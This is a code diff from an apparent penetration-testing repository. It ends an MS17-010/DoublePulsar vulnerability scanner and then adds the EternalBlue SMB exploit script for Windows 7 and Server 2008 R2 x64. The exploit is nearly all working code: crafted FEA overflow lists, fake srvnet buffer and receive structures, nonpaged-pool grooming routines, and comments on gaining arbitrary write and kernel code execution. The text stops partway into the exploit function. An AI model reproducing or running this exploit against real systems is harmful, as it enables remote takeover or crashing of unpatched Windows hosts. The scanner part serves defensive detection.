'dialet_buffer_format'+ '\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00' # 'dialet_name4': NT LM 0.12+ ]++ return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)+++def session_setup_andx_request():+ """Generate session setuo andx request.+ """+ log.debug("generate session setup andx request")+ netbios = [+ '\x00', # 'Message_Type'+ '\x00\x00\x63' # 'Length'+ ]++ smb_header = [+ '\xFF\x53\x4D\x42', # 'server_component': .SMB+ '\x73', # 'smb_command': Session Setup AndX+ '\x00\x00\x00\x00', # 'nt_status'+ '\x18', # 'flags'+ '\x01\x20', # 'flags2'+ '\x00\x00', # 'process_id_high'+ '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature'+ '\x00\x00', # 'reserved'+ '\x00\x00', # 'tree_id'+ '\x2F\x4B', # 'process_id'+ '\x00\x00', # 'user_id'+ '\xC5\x5E' # 'multiplex_id'+ ]++ session_setup_andx_request = [+ '\x0D', # Word Count+ '\xFF', # AndXCommand: No further command+ '\x00', # Reserved+ '\x00\x00', # AndXOffset+ '\xDF\xFF', # Max Buffer+ '\x02\x00', # Max Mpx Count+ '\x01\x00', # VC Number+ '\x00\x00\x00\x00', # Session Key+ '\x00\x00', # ANSI Password Length+ '\x00\x00', # Unicode Password Length+ '\x00\x00\x00\x00', # Reserved+ '\x40\x00\x00\x00', # Capabilities+ '\x26\x00', # Byte Count+ '\x00', # Account+ '\x2e\x00', # Primary Domain+ '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00', # Native OS: Windows 2000 2195+ '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00', # Native OS: Windows 2000 5.0+ ]++ return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)+++def tree_connect_andx_request(ip, userid):+ """Generate tree connect andx request.+ """+ log.debug("generate tree connect andx request")++ netbios = [+ '\x00', # 'Message_Type'+ '\x00\x00\x47' # 'Length'+ ]++ smb_header = [+ '\xFF\x53\x4D\x42', # 'server_component': .SMB+ '\x75', # 'smb_command': Tree Connect AndX+ '\x00\x00\x00\x00', # 'nt_status'+ '\x18', # 'flags'+ '\x01\x20', # 'flags2'+ '\x00\x00', # 'process_id_high'+ '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature'+ '\x00\x00', # 'reserved'+ '\x00\x00', # 'tree_id'+ '\x2F\x4B', # 'process_id'+ userid, # 'user_id'+ '\xC5\x5E' # 'multiplex_id'+ ]++ ipc = "\\\\{}\IPC$\x00".format(ip)+ log.debug("Connecting to {} with UID = {}".format(ipc, userid))++ tree_connect_andx_request = [+ '\x04', # Word Count+ '\xFF', # AndXCommand: No further commands+ '\x00', # Reserved+ '\x00\x00', # AndXOffset+ '\x00\x00', # Flags+ '\x01\x00', # Password Length+ '\x1A\x00', # Byte Count+ '\x00', # Password+ ipc.encode(), # \\xxx.xxx.xxx.xxx\IPC$+ '\x3f\x3f\x3f\x3f\x3f\x00' # Service+ ]++ length = len("".join(smb_header)) + len("".join(tree_connect_andx_request))+ # netbios[1] = '\x00' + struct.pack('>H', length)+ netbios[1] = struct.pack(">L", length)[-3:]++ return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)+++def peeknamedpipe_request(treeid, processid, userid, multiplex_id):+ """Generate tran2 request+ """+ log.debug("generate peeknamedpipe request")+ netbios = [+ '\x00', # 'Message_Type'+ '\x00\x00\x4a' # 'Length'+ ]++ smb_header = [+ '\xFF\x53\x4D\x42', # 'server_component': .SMB+ '\x25', # 'smb_command': Trans2+ '\x00\x00\x00\x00', # 'nt_status'+ '\x18', # 'flags'+ '\x01\x28', # 'flags2'+ '\x00\x00', # 'process_id_high'+ '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature'+ '\x00\x00', # 'reserved'+ treeid,+ processid,+ userid,+ multiplex_id+ ]++ tran_request = [+ '\x10', # Word Count+ '\x00\x00', # Total Parameter Count+ '\x00\x00', # Total Data Count+ '\xff\xff', # Max Parameter Count+ '\xff\xff', # Max Data Count+ '\x00', # Max Setup Count+ '\x00', # Reserved+ '\x00\x00', # Flags+ '\x00\x00\x00\x00', # Timeout: Return immediately+ '\x00\x00', # Reversed+ '\x00\x00', # Parameter Count+ '\x4a\x00', # Parameter Offset+ '\x00\x00', # Data Count+ '\x4a\x00', # Data Offset+ '\x02', # Setup Count+ '\x00', # Reversed+ '\x23\x00', # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023)+ '\x00\x00', # SMB Pipe Protocol: FID+ '\x07\x00',+ '\x5c\x50\x49\x50\x45\x5c\x00' # \PIPE\+ ]++ return generate_smb_proto_payload(netbios, smb_header, tran_request)+++def trans2_request(treeid, processid, userid, multiplex_id):+ """Generate trans2 request.+ """+ log.debug("generate tran2 request")+ netbios = [+ '\x00', # 'Message_Type'+ '\x00\x00\x4f' # 'Length'+ ]++ smb_header = [+ '\xFF\x53\x4D\x42', # 'server_component': .SMB+ '\x32', # 'smb_command': Trans2+ '\x00\x00\x00\x00', # 'nt_status'+ '\x18', # 'flags'+ '\x07\xc0', # 'flags2'+ '\x00\x00', # 'process_id_high'+ '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature'+ '\x00\x00', # 'reserved'+ treeid,+ processid,+ userid,+ multiplex_id+ ]++ trans2_request = [+ '\x0f', # Word Count+ '\x0c\x00', # Total Parameter Count+ '\x00\x00', # Total Data Count+ '\x01\x00', # Max Parameter Count+ '\x00\x00', # Max Data Count+ '\x00', # Max Setup Count+ '\x00', # Reserved+ '\x00\x00', # Flags+ '\xa6\xd9\xa4\x00', # Timeout: 3 hours, 3.622 seconds+ '\x00\x00', # Reversed+ '\x0c\x00', # Parameter Count+ '\x42\x00', # Parameter Offset+ '\x00\x00', # Data Count+ '\x4e\x00', # Data Offset+ '\x01', # Setup Count+ '\x00', # Reserved+ '\x0e\x00', # subcommand: SESSION_SETUP+ '\x00\x00', # Byte Count+ '\x0c\x00' + '\x00' * 12+ ]++ return generate_smb_proto_payload(netbios, smb_header, trans2_request)++def check(ip, port=445):+ """Check if MS17_010 SMB Vulnerability exists.+ """+ try:+ buffersize = 1024+ timeout = 5.0++ # Send smb request based on socket.+ client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ client.settimeout(timeout)+ client.connect((ip, port))++ # SMB - Negotiate Protocol Request+ raw_proto = negotiate_proto_request()+ client.send(raw_proto)+ tcp_response = client.recv(buffersize)++ # SMB - Session Setup AndX Request+ raw_proto = session_setup_andx_request()+ client.send(raw_proto)+ tcp_response = client.recv(buffersize)++ netbios = tcp_response[:4]+ smb_header = tcp_response[4:36] # SMB Header: 32 bytes+ smb = SMB_HEADER(smb_header)++ user_id = struct.pack('<H', smb.user_id)++ # parse native_os from Session Setup Andx Response+ session_setup_andx_response = tcp_response[36:]+ native_os = session_setup_andx_response[9:].split('\x00')[0]++ # SMB - Tree Connect AndX Request+ raw_proto = tree_connect_andx_request(ip, user_id)+ client.send(raw_proto)+ tcp_response = client.recv(buffersize)++ netbios = tcp_response[:4]+ smb_header = tcp_response[4:36] # SMB Header: 32 bytes+ smb = SMB_HEADER(smb_header)++ tree_id = struct.pack('<H', smb.tree_id)+ process_id = struct.pack('<H', smb.process_id)+ user_id = struct.pack('<H', smb.user_id)+ multiplex_id = struct.pack('<H', smb.multiplex_id)++ # SMB - PeekNamedPipe Request+ raw_proto = peeknamedpipe_request(tree_id, process_id, user_id, multiplex_id)+ client.send(raw_proto)+ tcp_response = client.recv(buffersize)++ netbios = tcp_response[:4]+ smb_header = tcp_response[4:36]+ smb = SMB_HEADER(smb_header)++ # nt_status = smb_header[5:9]+ nt_status = struct.pack('BBH', smb.error_class, smb.reserved1, smb.error_code)++ # 0xC0000205 - STATUS_INSUFF_SERVER_RESOURCES - vulnerable+ # 0xC0000008 - STATUS_INVALID_HANDLE+ # 0xC0000022 - STATUS_ACCESS_DENIED++ if nt_status == '\x05\x02\x00\xc0':+ log.info("[+] [{}] is likely VULNERABLE to MS17-010! ({})".format(ip, native_os))++ # vulnerable to MS17-010, check for DoublePulsar infection+ raw_proto = trans2_request(tree_id, process_id, user_id, multiplex_id)+ client.send(raw_proto)+ tcp_response = client.recv(buffersize)++ netbios = tcp_response[:4]+ smb_header = tcp_response[4:36]+ smb = SMB_HEADER(smb_header)++ if smb.multiplex_id == 0x0051:+ key = calculate_doublepulsar_xor_key(smb.signature)+ log.info("Host is likely INFECTED with DoublePulsar! - XOR Key: {}".format(key))++ elif nt_status in ('\x08\x00\x00\xc0', '\x22\x00\x00\xc0'):+ log.info("[-] [{}] does NOT appear vulnerable".format(ip))+ else:+ log.info("[-] [{}] Unable to detect if this host is vulnerable".format(ip))++ except Exception as err:+ log.error("[-] [{}] Exception: {}".format(ip, err))+ finally:+ client.close()+++if __name__ == '__main__':+ import sys++ if len(sys.argv) != 2:+ print("{} <ip>".format(sys.argv[0]))+ sys.exit(1)+ else:+ check(sys.argv[1])+++## References++# https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/+# https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_ms17_010+# https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb_ms17_010.rb+# https://www.symantec.com/security_response/vulnerability.jsp?bid=96707+# https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SMB2/[MS-SMB2]-151016.pdf+# https://msdn.microsoft.com/en-us/library/windows/desktop/aa365233(v=vs.85).aspx+# https://technet.microsoft.com/en-us/library/security/ms17-010.aspx+# https://community.rapid7.com/community/metasploit/blog/2017/04/03/introducing-rubysmb-the-protocol-library-nobody-else-wanted-to-write+# https://msdn.microsoft.com/en-us/library/ee441741.aspx+# https://github.com/countercept/doublepulsar-detection-script/blob/master/detect_doublepulsar_smb.py+# http://stackoverflow.com/questions/38735421/packing-an-integer-number-to-3-bytes-in-python+# https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html\ No newline at end of filediff --git a/Penetration Testing/exploits/windows/smb/MS17-010-EternalBlue/windows7-windows2008R2-x64.py b/Penetration Testing/exploits/windows/smb/MS17-010-EternalBlue/windows7-windows2008R2-x64.pynew file mode 100644index 0000000..fde6bf1--- /dev/null+++ b/Penetration Testing/exploits/windows/smb/MS17-010-EternalBlue/windows7-windows2008R2-x64.py@@ -0,0 +1,555 @@+#!/usr/bin/python+from impacket import smb+from struct import pack+import os+import sys+import socket++'''+EternalBlue exploit for Windows 7/2008 by sleepya+The exploit might FAIL and CRASH a target system (depended on what is overwritten)++Tested on:+- Windows 7 SP1 x64+- Windows 2008 R2 x64++Reference:+- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/+++Bug detail:+- For the bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/+- You can see SrvOs2FeaListToNt(), SrvOs2FeaListSizeToNt() and SrvOs2FeaToNt() functions logic from WinNT4 source code+ https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/ea.c#L263+- In vulnerable SrvOs2FeaListSizeToNt() function, there is a important change from WinNT4 in for loop. The psuedo code is here.+ if (nextFea > lastFeaStartLocation) {+ // this code is for shrinking FeaList->cbList because last fea is invalid.+ // FeaList->cbList is DWORD but it is cast to WORD.+ *(WORD *)FeaList = (BYTE*)fea - (BYTE*)FeaList;+ return size;+ }+- Here is related struct info.+#####+typedef struct _FEA { /* fea */+ BYTE fEA; /* flags */+ BYTE cbName; /* name length not including NULL */+ USHORT cbValue; /* value length */+} FEA, *PFEA;++typedef struct _FEALIST { /* feal */+ DWORD cbList; /* total bytes of structure including full list */+ FEA list[1]; /* variable length FEA structures */+} FEALIST, *PFEALIST;++typedef struct _FILE_FULL_EA_INFORMATION {+ ULONG NextEntryOffset;+ UCHAR Flags;+ UCHAR EaNameLength;+ USHORT EaValueLength;+ CHAR EaName[1];+} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;+######+++Exploit info:+- I do not reverse engineer any x86 binary so I do not know about exact offset.+- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.+ This memory page is executable on Windows 7 and Wndows 2008.+- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.+- The exploit trick is same as NSA exploit+- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.+- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)+- See the code and comment for exploit detail.+++srvnet buffer info:+- srvnet buffer contains a pointer to another struct and MDL about received buffer+ - Controlling MDL values results in arbitrary write+ - Controlling pointer to fake struct results in code execution because there is pointer to function+- A srvnet buffer is created after target receiving first 4 bytes+ - First 4 bytes contains length of SMB message+ - The possible srvnet buffer size is "..., 0x8???, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.+- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message+- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()+- SrvNetCommonReceiveHandler() passes SMB message to SMB handler+ - If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode+ - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called+ - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.+ - Memory leak is ok to be ignored+'''++# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)+# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time+# the size 0x11000 is used in nsa exploit. this size is more reliable.+NTFEA_SIZE = 0x11000+# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page++ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde++ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20+ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc++ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0+ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec++ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }++'''+Reverse from srvnet.sys (Win7 x64)+- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():++// for x64+struct SRVNET_BUFFER {+ // offset from POOLHDR: 0x10+ USHORT flag;+ char pad[2];+ char unknown0[12];+ // offset from SRVNET_POOLHDR: 0x20+ LIST_ENTRY list;+ // offset from SRVNET_POOLHDR: 0x30+ char *pnetBuffer;+ DWORD netbufSize; // size of netBuffer+ DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information+ // offset from SRVNET_POOLHDR: 0x40+ MDL *pMdl1; // at offset 0x70+ DWORD nByteProcessed;+ DWORD pad3;+ // offset from SRVNET_POOLHDR: 0x50+ DWORD nbssSize; // size of this smb packet (from user)+ DWORD pad4;+ QWORD pSrvNetWekStruct; // want to change to fake struct address+ // offset from SRVNET_POOLHDR: 0x60+ MDL *pMdl2;+ QWORD unknown5;+ // offset from SRVNET_POOLHDR: 0x70+ // MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address)+ // MDL mdl2;+ // char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE+ // char netBuffer[0];+};++struct SRVNET_POOLHDR {+ DWORD size;+ char unknown[12];+ SRVNET_BUFFER hdr;+};+'''+# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing+# Here is the important fields on x64+# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.+# The value MUST point to valid (might be fake) struct.+# - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer+# - 0x70 (VOID*) : MDL.Next should be NULL+# - 0x78 (USHORT) : MDL.Size should be some value that not too small+# - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)+# - 0x80 (VOID*) : MDL.Process should be NULL+# - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.+# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).+#+#+# To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.+# Here is related field for freeing corrupted buffer+# - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)+# a corrupted buffer MUST not be reused.+# - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0+# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to+# your shellcode as function argument+# - offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set+# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".+# Here is x64 assembly code for setting nByteProcessed field+# - fetch SRVNET_BUFFER address from function argument+# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]+# - set nByteProcessed for trigger free after return+# \x8b\x4a\x2c mov ecx, [rdx+0x2c]+# \x89\x4a\x38 mov [rdx+0x38], ecx++TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010+TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000++fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2+fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2+fakeSrvNetBufferNsa += '\x00'*16+fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)+fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0xffffffff, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process+fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct+fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2+# below 0x20 bytes is overwritting MDL+# NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough+fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags+fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa++# below is for targeting x64 only (all x86 related values are set to 0)+# this is for show what fields need to be modified+fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2+fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)+fakeSrvNetBufferX64 += '\x00'*16+fakeSrvNetBufferX64 += '\x00'*16+fakeSrvNetBufferX64 += '\x00'*16 # 0x40+fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct+fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2+fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags+fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa+++fakeSrvNetBuffer = fakeSrvNetBufferNsa+#fakeSrvNetBuffer = fakeSrvNetBufferX64++feaList = pack('<I', 0x10000) # the max value of feaList size is 0x10000 (the only value that can trigger bug)+feaList += ntfea[NTFEA_SIZE]+# Note:+# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively+# - x64: below fea will be copy to offset 0x11000 of overflow buffer+# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer+feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name+# stop copying by invalid flag (can be any value except 0 and 0x80)+feaList += pack('<BBH', 0x12, 0x34, 0x5678)+++# fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()+# x64: fake struct is at ffffffff ffd00010+# offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL.+# offset 0x08: set to 3 (DWORD) for invoking ptr to function+# offset 0x1d0: KSPIN_LOCK+# offset 0x1d8: array of pointer to function+#+# code path to get code exection after this struct is controlled+# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr+fake_recv_struct = pack('<QII', 0, 3, 0)+fake_recv_struct += '\x00'*16+fake_recv_struct += pack('<QII', 0, 3, 0)+fake_recv_struct += ('\x00'*16)*7+fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)+fake_recv_struct += '\x00'*16+fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY+fake_recv_struct += ('\x00'*16)*11+fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86+fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address+fake_recv_struct += ('\x00'*16)*3+fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array+fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)+++def getNTStatus(self):+ return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']+setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)++def sendEcho(conn, tid, data):+ pkt = smb.NewSMBPacket()+ pkt['Tid'] = tid++ transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)+ transCommand['Parameters'] = smb.SMBEcho_Parameters()+ transCommand['Data'] = smb.SMBEcho_Data()++ transCommand['Parameters']['EchoCount'] = 1+ transCommand['Data']['Data'] = data+ pkt.addCommand(transCommand)++ conn.sendSMB(pkt)+ recvPkt = conn.recvSMB()+ if recvPkt.getNTStatus() == 0:+ print('got good ECHO response')+ else:+ print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))+++# do not know why Word Count can be 12+# if word count is not 12, setting ByteCount without enough data will be failed+class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):+ structure = (+ ('MaxBuffer','<H'),+ ('MaxMpxCount','<H'),+ ('VCNumber','<H'),+ ('SessionKey','<L'),+ #('AnsiPwdLength','<H'),+ ('UnicodePwdLength','<H'),+ ('_reserved','<L=0'),+ ('Capabilities','<L'),+ )++def createSessionAllocNonPaged(target, size):+ # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function+ # You can see the allocation logic (even code is not the same) in WinNT4 source code+ # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071+ conn = smb.SMB(target, target)+ _, flags2 = conn.get_flags()+ # FLAGS2_EXTENDED_SECURITY MUST not be set+ flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY+ # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16+ if size >= 0xffff:+ flags2 &= ~smb.SMB.FLAGS2_UNICODE+ reqSize = size // 2+ else:+ flags2 |= smb.SMB.FLAGS2_UNICODE+ reqSize = size+ conn.set_flags(flags2=flags2)++ pkt = smb.NewSMBPacket()++ sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)+ sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()++ sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size+ sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value+ sessionSetup['Parameters']['VCNumber'] = os.getpid()+ sessionSetup['Parameters']['SessionKey'] = 0+ sessionSetup['Parameters']['AnsiPwdLength'] = 0+ sessionSetup['Parameters']['UnicodePwdLength'] = 0+ sessionSetup['Parameters']['Capabilities'] = 0x80000000++ # set ByteCount here+ sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20+ pkt.addCommand(sessionSetup)++ conn.sendSMB(pkt)+ recvPkt = conn.recvSMB()+ if recvPkt.getNTStatus() == 0:+ print('SMB1 session setup allocate nonpaged pool success')+ else:+ print('SMB1 session setup allocate nonpaged pool failed')+ return conn+++# Note: impacket-0.9.15 struct has no ParameterDisplacement+############# SMB_COM_TRANSACTION2_SECONDARY (0x33)+class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):+ structure = (+ ('TotalParameterCount','<H=0'),+ ('TotalDataCount','<H'),+ ('ParameterCount','<H=0'),+ ('ParameterOffset','<H=0'),+ ('ParameterDisplacement','<H=0'),+ ('DataCount','<H'),+ ('DataOffset','<H'),+ ('DataDisplacement','<H=0'),+ ('FID','<H=0'),+ )++def send_trans2_second(conn, tid, data, displacement):+ pkt = smb.NewSMBPacket()+ pkt['Tid'] = tid++ # assume no params++ transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)+ transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()+ transCommand['Data'] = smb.SMBTransaction2Secondary_Data()++ transCommand['Parameters']['TotalParameterCount'] = 0+ transCommand['Parameters']['TotalDataCount'] = len(data)++ fixedOffset = 32+3+18+ transCommand['Data']['Pad1'] = ''++ transCommand['Parameters']['ParameterCount'] = 0+ transCommand['Parameters']['ParameterOffset'] = 0++ if len(data) > 0:+ pad2Len = (4 - fixedOffset % 4) % 4+ transCommand['Data']['Pad2'] = '\xFF' * pad2Len+ else:+ transCommand['Data']['Pad2'] = ''+ pad2Len = 0++ transCommand['Parameters']['DataCount'] = len(data)+ transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len+ transCommand['Parameters']['DataDisplacement'] = displacement++ transCommand['Data']['Trans_Parameters'] = ''+ transCommand['Data']['Trans_Data'] = data+ pkt.addCommand(transCommand)++ conn.sendSMB(pkt)+++def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):+ pkt = smb.NewSMBPacket()+ pkt['Tid'] = tid++ command = pack('<H', setup)++ transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)+ transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()+ transCommand['Parameters']['MaxSetupCount'] = 1+ transCommand['Parameters']['MaxParameterCount'] = len(param)+ transCommand['Parameters']['MaxDataCount'] = 0+ transCommand['Data'] = smb.SMBTransaction2_Data()++ transCommand['Parameters']['Setup'] = command+ transCommand['Parameters']['TotalParameterCount'] = len(param)+ transCommand['Parameters']['TotalDataCount'] = len(data)++ fixedOffset = 32+3+38 + len(command)+ if len(param) > 0:+ padLen = (4 - fixedOffset % 4 ) % 4+ padBytes = '\xFF' * padLen+ transCommand['Data']['Pad1'] = padBytes+ else:+ transCommand['Data']['Pad1'] = ''+ padLen = 0++ transCommand['Parameters']['ParameterCount'] = len(param)+ transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen++ if len(data) > 0:+ pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4+ transCommand['Data']['Pad2'] = '\xFF' * pad2Len+ else:+ transCommand['Data']['Pad2'] = ''+ pad2Len = 0++ transCommand['Parameters']['DataCount'] = firstDataFragmentSize+ transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len++ transCommand['Data']['Trans_Parameters'] = param+ transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]+ pkt.addCommand(transCommand)++ conn.sendSMB(pkt)+ conn.recvSMB() # must be success++ i = firstDataFragmentSize+ while i < len(data):+ sendSize = min(4096, len(data) - i)+ if len(data) - i <= 4096:+ if not sendLastChunk:+ break+ send_trans2_second(conn, tid, data[i:i+sendSize], i)+ i += sendSize++ if sendLastChunk:+ conn.recvSMB()+ return i+++# connect to target and send a large nbss size with data 0x80 bytes+# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target+# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)+def createConnectionWithBigSMBFirst80(target):+ # https://msdn.microsoft.com/en-us/library/cc246496.aspx+ # Above link is about SMB2, but the important here is first 4 bytes.+ # If using wireshark, you will see the StreamProtocolLength is NBSS length.+ # The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.+ #+ # After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.+ # srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.+ # Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.+ sk = socket.create_connection((target, 445))+ # For this exploit, use size is 0x11000+ pkt = '\x00' + '\x00' + pack('>H', 0xfff7)+ # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.+ # Also this is invalid SMB2 message.+ # I believe NSA exploit use SMB2 for hiding alert from IDS+ #pkt += '\xffSMB' # smb2+ # it can be anything even it is invalid+ pkt += 'BAAD' # can be any+ pkt += '\x00'*0x7c+ sk.send(pkt)+ return sk+++def exploit(target, shellcode, numGroomConn):+ # force using 